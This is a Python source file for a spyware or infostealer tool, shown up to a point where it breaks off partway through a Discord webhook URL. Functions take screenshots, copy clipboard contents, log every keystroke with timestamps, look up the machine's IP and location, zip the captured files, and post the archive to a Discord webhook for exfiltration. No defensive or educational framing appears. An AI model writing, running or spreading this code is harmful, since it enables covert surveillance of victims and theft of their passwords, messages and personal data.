import os
import zipfile
import pyautogui
import requests
from pynput import keyboard
from datetime import datetime
from PIL import ImageGrab
import threading
import pyperclip

# Obfuscated function to capture a screenshot
def capture_screenshot():
    screenshot = ImageGrab.grab()
    screenshot.save("screenshot.png")

# Obfuscated function to get clipboard data
def get_clipboard_data():
    with open('clipboard.txt', 'w') as f:
        f.write(pyperclip.paste())

# Obfuscated function to capture keystrokes
def on_press(key):
    try:
        with open('keylog.txt', 'a') as f:
            f.write(f'{datetime.now().strftime("%Y-%m-%d %H:%M:%S")} {key.char}\n')
    except AttributeError:
        with open('keylog.txt', 'a') as f:
            f.write(f'{datetime.now().strftime("%Y-%m-%d %H:%M:%S")} {key}\n')

def start_keylogger():
    listener = keyboard.Listener(on_press=on_press)
    listener.start()

# Get IP address and approximate location
def get_ip_info():
    response = requests.get('https://ipinfo.io/json')
    data = response.json()
    with open('ipinfo.txt', 'w') as f:
        f.write(f'IP: {data["ip"]}\nLocation: {data["city"]}, {data["region"]}, {data["country"]}\n')

# Zip all captured data
def zip_data():
    with zipfile.ZipFile('captured_data.zip', 'w') as zf:
        zf.write('screenshot.png')
        zf.write('clipboard.txt')
        zf.write('keylog.txt')
        zf.write('ipinfo.txt')

# Send the zip file to Discord
def send_to_discord():
    with open('captured_data.zip', 'rb') as f:
        requests.post('https://discord.com/api/webhooks/1532569659688353835/2GVJ5eWcRfDH4FOyBPYQviYr2R5fDU1vjFFGisDAlaVR-I8dvpQ